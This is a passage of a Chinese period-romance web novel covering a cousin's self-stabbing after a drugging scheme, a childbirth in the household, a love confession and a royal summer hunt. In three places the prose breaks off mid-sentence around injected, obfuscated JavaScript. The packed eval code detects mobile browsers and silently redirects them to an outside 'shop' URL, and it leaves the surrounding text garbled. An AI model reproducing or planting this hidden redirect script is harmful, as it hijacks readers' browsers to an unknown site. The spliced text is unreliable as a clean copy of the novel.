顾国公细细想过叶青漓刚才的那番言论,瞬间对陈若茵再无半分好感,甚至为顾承宴昨夜无故遭人下药感到后怕起来。又听顾承宴说陈若茵还往叶青漓身上泼脏水,更是对她不喜! 他余光瞥见身边的赵氏张口还要说什么,连忙用眼神制止了她! 想为承宴纳妾,多的是合适的人选,今日这陈家姑娘却是留不得了! “夫人,夫人您救救我!您最了解我,知道我昨夜不是故意的!求您劝劝大公子,留下我吧!” 陈若茵几番求情未果,只好将目光投向赠她春药送她进覃竹园的赵氏。自己是按照赵氏的吩咐去勾引顾承宴的,如今出事,赵氏该力保自己啊! 奈何赵氏得了顾国公的暗示,已然明白陈若茵这颗棋子不能用了。 她眸色微暗,面带微笑道:“你这孩子,不过一件小事,有什么故意不故意的?” “只是你做了承宴不喜欢的事,我身为他的嫡母,自然不好留一个他不喜欢的人给他做妾。你放心,此次回家,自有国公府的人一路跟随护卫,我在你家里叔叔伯伯面前还有几分薄面,有我在,他们不会把你怎么样的!” 赵氏笑得温和,陈若茵却从她眼里看出威胁。 若是自己敢当众说出是赵氏指使自己下药,只怕下场不会比被赶出顾府要好! 她环顾四周,发现这里全都是顾国公府的人,就连自己的丫鬟也在一早被顾承宴带去审问。 孤立无援的感觉,瞬间让她回到父母刚刚去世的时候,周边的叔叔伯伯一边安慰她,一边觊觎她手里的祖产。 一面笑着与她说话,一面暗中将她许给一户急着娶阴妻的人家! 既然在哪都是死,那不如死在京城,来个干脆! 陈若茵眸色由悲到怨,由怨到恨,最后归于死寂,神情几番变化。 叶青漓越瞧越觉得不对,刚要开口,眸中却有寒光一闪而过。 只见陈若茵从发间拔出一根银钗,重重往自己颈间插下去! 顷刻间鲜血如柱,染红了地面! “啊!!!” 辛氏未料到陈若茵竟如此决绝,吓得发出一声尖叫。 叶青漓瞧着陈若茵的动作,心里咯噔一声,正要上前按住她的伤口,耳边却传来顾承英紧张的声音。 “三嫂,你的肚子!” 辛氏竟是被这一幕吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233437|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得直接动了胎气,羊水瞬间染湿衣裙。 赵氏险些从椅子上摔倒,对着辛氏大喊。 “哎呀!慕青!慕青你别慌,大夫,快叫大夫!” 叶青漓只慌乱了一瞬,心中瞬间有了规程。 她一边往辛氏身边走,一边道:“采莲,你过来卸了陈姑娘的钗子,按住她的伤口,等大夫过来。” 走到辛氏身边后,她蹲下身子,查看了一番辛氏的情况,保持镇定道:“三弟妹,你别慌。你腹中的孩子已经足月,母子情况都好,只要专心生产不会有事的!” 随后,叶青漓便吩咐顾府下人将辛氏送到一早准备好的产房,府内稳婆她一早备下,得到消息连忙为辛氏接生。 顾承宴和顾国公两个大男人不方便靠近辛氏的产房,也立刻吩咐人去叫了大夫和顾承卓。 不过一会功夫,顾府就请了两个大夫来。 一个给陈若茵包扎伤口,一个守在辛氏门外以防不测。 赵氏身中奇毒,瞧见辛氏生产,一时激动气血翻涌,重重咳了口血,本来该守着辛氏产房的大夫又被叫来给她看病。 顾承卓出门办事一时难归,顾承英看着吐血的母亲和临盆的三嫂,一时竟不知该先照顾哪个? 叶青漓上前安慰她先照顾赵氏,辛氏这边有她看着。 府内一时间三个病人,下人们也乱作一团。幸有叶青漓一直坐镇,才渐渐井然有序起来。 不多时,赵氏情况好转,喝了药睡下,陈若茵的伤口也包扎好,只剩下辛氏还在产房未出。 府中几乎所有主子都被叫来在产房外焦急得等着,叶青漓也坐在一旁。 看着脖子缠着厚厚一圈纱布,唇色惨白的陈若茵走过来,她不禁皱起了眉。 “你来这做什么?” 陈若茵没有说话,只是朝着辛氏的房间跪了下来。 “是我不好,吓到三少奶奶让她早产,都是我的错!” 死过一次却没死成的人,是没有勇气死第二次的。 尤其方才亲眼看着自己脖间冒着汩汩鲜血,感受过生命的流逝,陈若茵就更不想死了! 可她想活就得先解决眼下的事。 给大公子下春药无外乎被赶出府去,可若是害得三少奶奶早产出差错,她就真的万死难恕了! 顾国公冷脸看着陈若茵,从前赵氏在他耳边提到的优点此刻全被抛诸脑后,一想到自己的第一个孙子可能因为她有什么闪失,他心底的火就噌噌往外冒! “知道自己做错了还杵在这做什么?承宴说得对,你这种不仁不义的人,就不该留在顾府!赶紧收拾东西,滚出去!” 其他人不知发生什么事,瞧着顾国公对陈若茵态度大变,都惊讶地看着两人。 顾承宴见陈若茵伤口处还在溢血,语气略有缓和,却也丝毫不让道:“你此次回家,会有顾国公府的人护持,你若愿意,我顾国公府也可做你后盾,为你招婿。” 陈若茵湿了眼眶,却摇摇头,哽咽不已。 “之前的事都是我的错!我也不该一心求死吓到三少奶奶!” “我现在什么都不求,只求三少奶奶能够平安生产!我确认她和孩子没事,自会离开顾府。” 叶青漓见她哭得伤心,眼底隐有后悔,思及她之前求饶时说过的话,还是站起来,走到她面前。 “你真的知错了?” 陈若茵红着眼眶点头,“若茵已经知错,只求三少奶奶和孩子能平安!” “看在你诚心悔过的份上,我给你第二条路。如果你所言配阴婚一事为真,你日后便留下。” “青漓?” “不过不是在顾府!”听见顾承宴难以置信的声音,叶青漓连忙补充,“我会将你送到我的铺子里打杂,日日做苦力活作为惩罚,一个月后为你招婿,如何?” 悔恨的泪水模糊了眼眶,陈若茵抬头看着这个她从来没看懂的大少奶奶。 “为什么?” 58. 告白 “啊——!” 一声响亮的婴儿啼哭打破了室内沉寂,叶青漓来不及回答,注意力已被产房内吸引。 不多时,一个稳婆抱着孩子走了出来,满脸笑意。 “恭喜国公爷,三少奶奶生了个女孩,母女俱安!” 闻言众人皆松了一口气,就连跪在地上的陈若茵一直紧绷的身体也霎时间放松下来。 顾国公几乎已经忘记几个时辰前前厅内发生的不愉快,快步走到稳婆身前,看着自己的第一个孙辈,笑得合不拢嘴。 “嗯,这孩子长得像老三,将来必定是个有福气的!” 府里其他人也跟着凑上前去,刚出生的小婴儿睁着懵懂的双眼看向身旁几人,哪怕是铁石心肠此刻也要化了。 等顾承卓回府之后,得知自己得了个女儿,也是高兴得不知所措,迫不及待从稳婆手中接过孩子,生疏地抱着。 叶青漓虽没生育过,到底也有前世的经验,见他动作僵硬,忙提醒他。 “三弟动作错了,你这样孩子不舒服,该把你的手放在孩子身下,一手托着她的头,像这样……” 谁知顾承卓防贼似的将孩子紧搂在怀里。 “大嫂没有生过孩子,倒是比我这个准父亲懂得还多!” 叶青漓觉得莫名其妙,她好心好意提醒,哪里又惹到他了? 一旁的稳婆见顾承卓的确动作不对,忙上前帮其调整。 得知误会了叶青漓后,顾承卓依旧没有好脸色,满脸防备地看着她。 叶青漓脑中灵光一闪,莫不是自己当初跟辛氏开的过继孩子的玩笑,夫妻两个都当真了? 她回头向身后看去,果然顾承卓对顾承宴也是一副警惕的表情。 方才辛氏生产时有些难产,顾承宴等顾府公子不好插手,赵氏药效刚起昏昏沉沉指望不上,顾承英至今未婚更加没主意。 顾国公倒是能做主,可是他只在乎孩子,里面辛氏都还没怎么样呢,他竟然大喊先保小? 是叶青漓力排众议,请大夫扎针调转腹中胎儿位置,又提前找了几个经验丰富的稳婆,才保全母女平安。 她自认已经做到仁至义尽,既然他们不领情,叶青漓也不必再多纠缠。 对上顾承卓防备的眼神,叶青漓面对新生儿的喜悦骤减。 “既然三弟回来,那孩子和三弟妹就交给你了,我操劳这么久,也有些累,先回去休息了!” 说罢,叶青漓负气而出。 顾承宴对于顾承卓的孩子也只有三分喜欢,如今见叶青漓不开心,那三分的欢喜也没了,冲顾承卓点点头后跟着叶青漓离开。 回到蔚莲阁后,叶青漓觉得口渴,捞起水壶就要往嘴里灌水。 一半是累的。 刚才府里乱糟糟的,又是自残,又是生病,还有个生孩子生得要死要活的,她一会照顾这个,一会关心那个,忙得连口水都顾不上喝。 另一半则是被顾承卓气的! 要不是辛氏当初主动凑上来挑衅,她至于搬出过继一事吓唬她吗?夫妻两个有贼心没贼胆,自己不过说两句玩笑就当真了,还处处防备,至于吗? 一只骨节修长的手横空出现,拦下她手中的水壶。 顾承宴冲她摇了摇头。 “水已经冷了,我让他们再烧一壶来!” 平静的语气里暗藏淡淡的关心,叶青漓心中一暖,总算这顾府还有人是有良心的! 两人眼中情愫暗生,采莲在后面看得清楚,想到两人昨夜同寝而眠,心里更加开心,忙冲上前将水壶夺过。 “奴婢这就去烧水!” 她走以后,屋内只剩下叶青漓和顾承宴两人,一个坐在椅子上目光发直,一个站在桌子旁紧紧盯着对方。 明明是再正常不过的距离,感受到头顶那近乎灼热的视线,叶青漓总觉得有些暧昧。 脑海中不停闪现昨夜的画面,一想到那双眼睛还看过什么,小脸一瞬间红了。 “今日……” “昨晚……” “你先说!” “你先说!” 叶青漓愣了一瞬,再次开口道:“昨晚的事,我已经知道缘由,你是中了药所以才……若是你后悔的话,我们可以当做什么都没做过。” 她顿了一下,补充道:“反正我们本来就什么都没做过!” “青漓是打算始乱终弃吗?” “什么?” 顾承宴委屈的眼神活脱脱一个怨妇。 “昨夜你亲口答应的事情你都忘了?” “我……答应……什么了?” 叶青漓有点慌,她昨夜为色所迷,说了好多话,根本不知道他指的哪一句? 果然,见叶青漓没有反应,顾承宴眼神越发幽怨,现在给他张手帕,他都能扯着往嘴里咬。 “你说喜欢我,以后不会再把我推给别的女人!” 叶青漓脸蛋更红了,“我,我……” 那不是被他亲得意乱情迷的时候,他怎么问,自己就怎么答吗? 只是对上顾承宴的眼神,叶青漓有一瞬间自己是个渣女的错觉。 她立刻大声道:“我当然没有忘记!” “只是我见你今早那么生气,所以……” “我生气是因为赵氏和那个女人,与你无关!” 叶青漓悻悻低下头,“可是我并非出身名门,琴棋书画样样不通,每天想的都是赚钱,身上一股铜臭味。” “你选了我,不会后悔吗?” “我不后悔!” 顾承宴满目深情。 “昨夜来蔚莲阁前我就知道自己不会后悔!” “你没有出身名门,所以待人并无偏见,这样很好。” “琴棋书画这些东西都是唬人的,我会就够了。” “圣贤都说钱财乃身外之物,可人活在世,没有银子哪能好好生活?” “青漓。”顾承宴忽然蹲了下来,眸中满是认真。 “在你出现之前,我以为日子就像经书上的字一样,规规矩矩,总有尽头。可当我第一次遇见你后,才发现它更像窗外的风景,四季变换,多彩多样。” “青漓,我喜欢你!” “请你也多喜欢我一些好吗?” “好。”叶青漓听见自己回答。 下一刻她便被拥进一个宽阔结实的怀抱里,耳畔传来顾承宴的声音。 “青漓,谢谢你!” 叶青漓从来不是矫情的人,伸手回抱住顾承宴。 她向来不觉得自己的出身有什么问题,自己识文断字,读书明理,还能挣钱,已经很优秀。 之所以那么问,不过是想看看顾承宴对自己的看法。 果然,她看上的男人没让她失望! 叶青漓在顾承宴肩上笑起来。 顾承宴也十分欢喜,初次与相爱之人表明心意,他现在迫不及待想和她规划未来。 “以后我可以搬到蔚莲阁住吗?” “可以。” “明日我在院中种些桂花,等中秋以后我们一起做桂花糕好不好?” “好。” “我知道你喜欢做生意,喜欢挣钱,以后你开铺子,我给你写招牌?” 叶青漓不由失笑,让顾承宴那一手馆阁体来做招牌,还有客人会进她的铺子吗? “好,你写得招牌一定很吸引顾客,以后生意一定爆火!” 罢了,谁让他主动提了。 顾承宴脑中想法太多,等不及一一询问,干脆直接问叶青漓,“你还有什么喜欢的,或是想要的?” 叶青漓想了想,“嗯……骑马!我想学骑马!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244538|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这个我会,以后我教你骑!”顾承宴想到什么,越发高兴,“再过不久,圣上要举办一场夏猎,到时候我亲自教你!” “真的?太好了!” 叶青漓早想学骑马,可是上一世一直没有机会,如今得了机会,高兴得在顾承宴颊边印下一吻。 顾承宴耳朵霎时间红得滴血,顶着叶青漓揶揄的眼神,问道:“那等你学会骑马,随我回一趟白云观可好?” “是要见闲云观主吗?当然可以。” 顾承宴得到承诺安静片刻,忽然再次问道: “今日三弟的孩子出世,你的眼神一直落在孩子身上,你很喜欢小孩吗?” 叶青漓想都没想,“当然喜欢!” “刚出生的孩子,粉粉嫩嫩,又娇又软,很可爱的!” “那我们以后也可以生个自己的孩子,只要你喜欢,生多少都行!好不好?” 叶青漓笑容瞬间僵住。 “你怎么来了?这里不欢迎你!快出去!” 叶青漓正想着要不要准备措词安慰顾承宴的时候,门外传来采莲犀利的喝声。 两人看过去,原来是陈若茵跟了过来。 她不顾采莲的阻拦,走进房内径直朝着叶青漓跪下。 采莲端着热茶进来,小脸皱成包子。 “小姐!你看这人,好没礼貌,撵都撵不走!” “若茵犯下大错,特来多谢大少奶奶救命之恩!” 陈若茵脸色苍白,短短半日功夫,原来那双杏眸中已经多了几分黯然。 “你不必谢我,你好歹是顾府的表姑娘,竖着进来,总不能横着出去,今日换做是别人我也会救!” 互通心意后,叶青漓对陈若茵就再也做不到原来那般心平气和,一想到昨晚顾承宴差点被她得逞,叶青漓心里就越发不舒服。 陈若茵并未听出她态度变化,依旧诚恳道谢。 “无论如何,是大少奶奶仁慈才留了我一命。” “只是我不明白,大少奶奶为何会愿意将我留在京城?” 她悄悄瞥了眼站在叶青漓身后正在为她晾凉热茶的男人,眼中满是害怕和不解。 若是其他正室妻子,自己对她们的丈夫下药,妄图爬床勾引,被赶出府只是轻的,多的被打死沉入荷花池的。 毕竟自己只是一个毫不起眼,无人在意的表姑娘。 陈若茵绞尽脑汁也想不明白的事情,叶青漓也无法理解。 “这有什么不明白的?因为你我都是女子,我自然愿意多帮帮你!” “我在进京之前,和你一样父母俱失。你好歹手里有祖产,身边有丫鬟,还有个高门显贵的国公府亲戚可攀,我却什么都没有!” “你如今的难处,我都体会过,所以能够理解你。但是我最难之时也未曾和你一样不择手段,毁人姻缘,更没有自怨自艾,自戕逃避,所以我也瞧不起你!” 叶青漓说话毫不留情,眼看着陈若茵因为失血过多而苍白的脸色又白了一分,她才停下来。 顾承宴趁着空档将凉好的茶递到她嘴边,叶青漓下意识喝了,干渴的喉舌得到滋润,满意地看了顾承宴一眼。 陈若茵听完叶青漓的话,若有所思。 叶青漓却不想继续看见她这张脸,摆摆手道:“你先回去休息吧,待你伤口养好,我便送你去铺子做苦力,期限一个月。” “另外,你族中长辈为你结阴婚的事情我也会着手调查。你们陈家好歹与顾国公府沾着亲,哪怕是为了顾国公府的名声,我也绝不会允许有人以迫害女子牟利!” “你大可放心!” “一个月后,你若诚心悔过,我便为你招婿!” 陈若茵见叶青漓不是糊弄自己,再次感动至哽咽。 朝着叶青漓重重磕了个头,“若茵多谢表嫂!” 59. 夏猎 七月初一,宜打猎。 骄阳广照大地,依山耕种的农人在夏蝉的催促下挥舞着手中的锄头,刺眼的阳光透过不知年月的老松照在宽阔的马路上。 叶青漓坐在马车里,嗅着不知何处飘来的淡雅荷香,冲着茶炉边的人轻笑。 “我还从没有参加过夏猎呢,你与我讲讲到底要做什么?” 顾承宴将温度适宜的茶水递到叶青漓嘴边,清列的声音缓缓说道:“夏猎是皇家惯例,因历代皇帝喜好不同而各有变化。” “当今圣上喜爱马术骑射,夏天猎物多,最得他中意,因此这些年几乎每年举办一次。以往夏猎结束后,京城酷暑已至,圣上便会顺势去避暑山庄避暑,待秋来再回。” 他擦了擦叶青漓不小心滑落嘴角的水渍,继续道:“不过这次例外。” “为何?” “因为此次夏猎的最终目的,是给太子殿下选太子妃。” “太子妃?” 那不就是原书女主?叶青漓两世以来,还从未见识过。 叶青漓瞬间来了兴趣,“那现在有几个人选了?” 顾承宴摇摇头。 “一个都没有。” “怎么会?”叶青漓朝外看了看,悄悄道:“难道他有什么隐疾所以文武百官都不愿意把女儿嫁给他?” 顾承宴轻点了下叶青漓额头,“你想到哪里去了?” “太子乃是储君,自幼受名师指点,为人中正严明,胸怀天下,是明君之选!正因如此,他的太子妃人选一直备受关注!” “如今太子年岁不小,百官上谏不止,圣上也担心太子膝下尤空,所以特意开御口,此次夏猎五品以上官员皆可带上家眷。” “所以这次也是这么多年来规模最大的一次。” 叶青漓没有关注过以往夏规模几何,无法对比。 倒是目光略向身后的马车,挑了挑眉,“所以这就是公爹带着二弟妹夫妻俩和顾承英一起来的原因?” 顾承宴失笑。 “其实这次最合适的人选是三弟和三弟妹,三弟与顾承英一母同胞,有什么事情也好商量。奈何三弟妹刚刚生产,实在不宜挪动。” “父亲为人好面子,做事也一样,他既想将女儿送进东宫,又不想显得顾国公府上赶着,只好另选个人带着顾承英。” “四弟和五弟为这件事吵了三天,父亲被吵得头疼,直说自己不该生出他们!” “最后让一直没开口说过话的二弟得了便宜。” 说起顾国公被两个儿子烦时,顾承宴眸底闪过一丝恶劣的笑。 叶青漓瞧见了,凑到他跟前揶揄起来。 “小道士,我怎么觉得你最近变了?” 两人四目相对,鼻尖碰着鼻尖,顾承宴顺势伸手揽住叶青漓的腰,让她坐在自己腿上。 “还请居士解惑,贫道哪里变了?” 叶青漓张嘴咬了下面前柔软的唇,嘟囔道:“变得刻薄了!” 其实他哪里是变得刻薄,他是从上到下从里到外全都变了! 两人表明心意后,叶青漓还以为顾承宴会矜持几天,毕竟他一向是神仙样貌,和尚行为。 怎料当天下午他就连人带被子搬进了蔚莲阁,叶青漓进屋看着他一身单薄寝衣躺在床上时,好悬没流出口水。 可怜她为了维护某人的自尊心绞尽脑汁四处遮掩,某人却像忘了自己身体状况一样经常乱来。 就像现在! 叶青漓按住某人不安分的大手,从深吻中抽离。 顾承宴念念不舍啄吻着她的唇,待到气息平复,才睁开眼睛看向怀中女子。 充满欲*念的眸子在看见叶青漓颈口微乱的衣领后,眸色更深了几分。 他连忙移开视线,回忆起这几日叶青漓的逃避,瞬间甩开脑中更荒唐的想法。 一定是那晚自己吓到她了,所以她才对这件事有了阴影。 他得慢慢来,不能急! 顾承宴整理好情绪,抬手为叶青漓细致理顺衣领,接着问道:“我变得刻薄了,青漓还喜欢吗?” “喜欢!” “以后不论我变成什么样,青漓都会一直喜欢我吗?” 正等着脸上热晕散去的叶青漓浑身一激灵! 他这么问?莫非是在暗示什么? 叶青漓连忙抬起头,一脸认真,“自然喜欢!” “每个人都有自己心里的阴暗面和缺点,我喜欢你就会喜欢你的全部。从前你的这些心里话无人可说,但是以后你有我,有什么事情你都可以跟我说!” “真的?” 似是怕顾承宴不相信,叶青漓朝着他重重点头。 顾承宴被她这副认真的模样逗笑,又将她抱在怀里,眸中更添几分郑重。 这么好的青漓,自己一定要等到她全然能够接受才好! 两人一路有说有笑,目的地很快到了。 顾承宴如今在太子跟前做事,经过两个月的努力,太子对他越发看重,刚下马车,便被太子身边的人叫去。 叶青漓带人收拾着东西,没过一会儿,申氏忽然带着下人赶来。 “大嫂,不好了!承英妹妹不见了!” 叶青漓收拾的动作一顿,“你不是和她同乘一辆马车而来,她怎么会不见?” “我们是一起来的,可是下了马车后她说想去周围转转,不等我吩咐完下人就走了。等我安顿好行李,派人去找她时,只看见了她身边的丫鬟!” “可那丫鬟也支支吾吾说不清她去哪了!这可如何是好?” 申氏在府里一向是个隐形人,与顾承英的关系并不亲厚。 她从未经历过这种事,一时间六神无主! 叶青漓忙扶住她的胳膊帮她稳住身子,“你别急,皇家猎场地方大,兴许她只是迷路了。叫上二弟还有公爹,咱们再派人找找。” 申氏越发急了,“可是相公被他的上司叫走,公爹同圣上一道,我一时间不知叫谁去找人啊?” “对了,大哥可在?” “他刚刚被太子叫去了。” “这,这可如何是好啊?!” 申氏瞬间慌了神,从前在顾国公府,万事都是顾国公做主,没有顾国公还有赵氏,没有赵氏还有顾承平,她肩上从来没有过这么重的担子! 叶青漓意识到问题严重性,忙冲采莲使了眼色。 “事不宜迟,趁着天还没黑,咱们再去找找,若是还找不到,只能请这猎场的护卫帮忙了!” 申氏瞧着叶青漓一脸严肃,更加慌张起来,“对对,一定要快些找到,猎场上都是贵人,万一冲撞了就不好了!” 叶青漓脸色一沉,“不!是因为天黑之后野兽出没,万一她跑出猎场,那就生死难料了!” 申氏大惊,她从未想过顾承英会有生命之忧!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253827|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 眼见叶青漓已经吩咐起下人,她连忙也带人四处去寻。 叶青漓找了一圈都没见人影,正暗叫不好,打算告诉顾承宴时,忽然看见一直寻找的顾承英正被一陌生女子拽住胳膊。 “前面是太子营帐,官员女眷的营帐在那边,你来这做什么?” “我,我走错了!” “走错了?”那女子有些不信,但见顾承英畏畏缩缩的样子,不耐烦与她争辩,“这猎场路况复杂,你是哪家的小姐?我送你回去吧!” “我,我……” “原来六妹妹走到这来了?”叶青漓适时出声,打破了顾承英的窘迫,“你二嫂说你可能迷路了,我起初不信,如今瞧你走到这来,不信也不成了。” “六妹妹,跟我回去吧?” 顾承英见到叶青漓如同见到救星,抬脚刚要走近,那陌生女子快速将她挡住。 “你又是谁?” 叶青漓点头示意,“妾身是顾国公府长媳,来找我六妹妹。” “多谢姑娘方才拦住了她,不然她不认识路直接走过去可就闹了大笑话了!” 虽然圣上夏猎就是为了给太子选太子妃,可是如顾承英这般直愣愣走到太子营帐的,是绝对不会入选的! 不仅如此,还会丢了顾国公府颜面。 那女子见叶青漓主动报上名号,大方得体,目光也不似顾承英那般鬼祟,这才放下心来。 “既然如此,夫人带着她回去吧,我就不送了。” 叶青漓点头,“不知姑娘是哪家小姐,明日我定前去拜访。” 女子摆摆手,“不必,你们回去吧!”说罢便转身离开。 回去的路上,顾承英一直撇着眼睛偷看叶青漓,等叶青漓回看过去时,她又连忙收回目光。 “我知道你过去想做什么?” 叶青漓忽然开口,“但是太子选妃有多少双眼睛盯着?你这般直奔太子营帐,是生怕别人不知道你想做什么吗?” “我没有!” “没有最好!”叶青漓丝毫不让,“圣上开口给太子选妃,公爹带你前来,就是给了你机会。” “时间还长,你若有这个心思,就好好准备,接下来有的是让你在太子面前表现的机会!” “莫要用顾国公府和你自己的脸面给自己铺路!” “我……!” 顾承英还要狡辩,叶青漓却根本不愿听她多言。 “听明白了吗?” “你凭什么这么跟我说话?” 顾承英也是个有脾气的,被叶青漓教训一通,当即梗着脖子道:“我才不是陈若茵那种女人,我知道自己该干什么!” 叶青漓诧异地回头看了她一眼,挑眉道:“我拭目以待!” * 太子营帐内,顾承宴正与太子商讨国策,一个侍卫忽然走进来。 “启禀太子殿下,方才顾国公府六小姐试图进入营地,被镇南王府郡主拦下,后被顾国公府大夫人带走。” 太子素来知晓顾承宴心高气傲,如今听到他妹妹主动来此,下意识看向他的脸。 果然清冷公子已经沉下脸。 当即调侃道:“宴哥儿,你这个六妹妹可不如你有耐性啊!” 顾承宴冷眼回讽,“比不上太子有耐性,等了一个看不清脸的女子二十年!” 霎时间,一向眉眼带笑的太子殿下也黑了脸! 60. 前三名 “六妹妹只是不小心迷了路,并无大碍,二弟妹不用担心了。” 看到顾承英回来,申氏直接红了眼眶,拉着她的胳膊上看看下瞧瞧,确认一根头发丝都没少,才双手合十,嘴里念念有词。 “谢天谢地!幸好大嫂找到了六妹妹,若是不然,还不知道会出什么事?” “呸呸!瞧我说得什么胡话?六妹妹回来就好!回来就好!” 将顾承英安顿好后,申氏带着一盒糕点再次找到叶青漓。 “今日六妹妹一事多谢大嫂了,若不是有大嫂及时出手帮我,等相公和父亲回来,我还不知要受多少责骂!”申氏说着,将糕点取出,“我知道大嫂喜欢我的手艺,这些都送给你。” 叶青漓看见好吃的,眼前一亮,“那我就不客气了!” 出了顾国公府,申氏也不再那么拘谨,和叶青漓边吃边说起来。 叶青漓很快得知赵氏为了紧紧把持顾国公府,为几个公子挑选妻室时动了歪心思。 四公子和五公子各有得宠姨娘在身边护着,她没能得逞,顾承平的姨娘却一向不得顾国公喜欢,所以申氏也是在叶青漓进门之前身份最低的儿媳。 她出身小富之家,家里只开着几间糕饼铺子,连个读书人都没出过。 这样的家世本配不上顾国公府,是顾承平早就看透家里的一切,和申氏相处后觉得她性子好,便应下了。 这么多年夫妻两个,秉持着多一事不如少一事的原则,在府里如同隐形人一般,这次要不是府里两个吵得太狠,她也是没有机会来的。 叶青漓一听来了兴趣。 “弟妹家中是开糕饼铺的?开在哪里?手艺比你如何?下次能不能带我去吃一次?” 申氏惆怅一笑,“爹说做了顾国公府公子的丈人,再日日去店里揉面不体面,所以将糕饼铺租出去了!” “租出去了?”叶青漓被糕点噎住,手忙脚乱喝了几口水才接着道:“这么好的手艺租出去多可惜!” 申氏眼底微光一闪而过,摇头笑道:“我们自己开铺子也就挣那几个钱,租出去少不了多少。” 叶青漓根本不信! 前世加上前前世,她这个起码活了三辈子的人,不说吃遍天下,一点基本的鉴赏能力还是有的。 申氏的手艺比京城生意最火爆的好食斋都好,叶青漓简直不敢想做了几十年糕点的申老爷该有多厉害! 叶青漓是爱吃之人,除了吃,她也爱银子。 她看得出申氏眼底的惋惜,思索片刻后忽然开口。 “其实,二弟妹手艺这么好,可以尝试自己开一间铺子,我正好有想法开间酒楼,弟妹若是愿意,可以与我一起合作!” “合作?” 申氏怔了片刻,下意识摆手,“不不,我不行,我不行的!” 叶青漓并未强求,依旧说着,“这有什么行不行的?我开酒楼反正也是要找人的,弟妹做糕点的手艺这么好,自然不能浪费了。” “可是我……” 申氏是想开铺子的,她在顾国公府内身份本就低旁人一截,傍手的银子越多心里就越有底气,可是她同样有很多顾虑。 “弟妹不用着急,我的酒楼暂时也没装修好,等夏猎结束,你再给我回复也行。” 留下这句话后,申氏明显轻松许多,她抬眸郑重看了叶青漓一眼。 “大嫂放心,我会认真考虑的!” 申氏走后,叶青漓暂时将酒楼的事情放到一边,她现在更关心的是夏猎。 夏猎正式开始之前,圣上放言,“此次打猎分男女两组进行组内比试,各取前三名进行奖励!” 话虽如此,知晓内情的人却都意识到,太子的太子妃大概要从这女子组的前三名中选出了。 叶青漓明显能感觉到底下的那些贵女小姐们摩拳擦掌,各个眼中都是志在必得! 随着圣上弯弓射下一只提前备好的大雕,早就兴致勃勃的人们一跃而出。 叶青漓不会骑马,只能眼巴巴地看着他们去林子里撒欢,幸而顾承宴一直陪在她身边。 “不必担心,我会一直陪着你。”顾承宴牵着一匹白色的温顺小母马走到近前,“到时候,你骑上它,我带你去林子里打猎!” “嗯!” 两人来到一处人少的地方开始练习。 叶青漓很聪明,虽然从未骑过马,但是悟性很高,动作要领也掌握得好,顾承宴带着她和马熟悉一圈后,她很快就能骑在马上慢跑两圈。 为了方便骑马,叶青漓特意定制了几身骑装,今日她穿着一身白色短打,一头青丝尽数用柔软的发带高高束起。随着马儿抬腿快步腾挪,柔顺发丝随着微燥的夏风恣意飘扬,时而落在她单薄的肩上,时而落在顾承宴半阖的心窗上,重重敲打! “原来骑在马上是这种感觉?夫君,我骑得好不好?” 叶青漓忽然扭头,看见顾承宴失神站在原地,“夫君,你有没有在看我?” “有!” 顾承宴回过神来,快步上前牵住马儿身上的缰绳,对着叶青漓认真解释,“我在认真看!” “你方才做得很好!我陪你先熟悉这种感觉,多练习两天,等你学会骑马,我再教你射箭,要不了多久就能入山林了!” “真的?” “那我也能打猎了?” 看见顾承宴点头,叶青漓更有动力了,拽着缰绳便往前去。 “驾!” “慢点!” 天边红日似乎也觉得燥热,披上漫天红霞遮挡阳光。 渐渐有人从山林里出来,叶青漓远远瞧着,大多数人背篓里都有一只小兔子或是几只鸟,能打到狐狸的都是少数。 “这十几天都只打这些猎物吗?” 顾承宴为她解释,“皇家猎场里面有什么猎物都是提前检查过的,若有大型野兽,也会第一时间驱离。” “今日是第一日,图的就是个开心,所以会有人将这些猎物提前放进去,供大家狩猎。等外围猎物被打得差不多,才会有人去内围挑战。” “这么说,想要获得前三名,也不是一件容易的事?” “没错。”顾承宴的笑如春风和煦,“圣上喜爱骑射,自然希望太子将来的太子妃精于此道。” “那若是有哪位小姐从未学过,岂不是直接没了入选资格?” 顾承宴看了她一眼,但笑不语。 叶青漓也很快意识到自己这句话问得有多蠢! 能来这猎场的,大小也是个官家小姐,手底下怎么也能养几个善于狩猎的小厮侍卫,先让那些人将猎物打了,再换上自己的弓箭,不就是自己的成绩了? 如此一来,前三名里要不真是身体康健,能骑马射箭的女中豪杰,要不就是家族实力雄厚,能用银子堆出成绩的世家贵女,怎么选太子都不吃亏! 果然,姜还是老的辣! 叶青漓和顾承宴又看了一会,直到营帐旁燃起篝火,才有一队人马从林中走出。 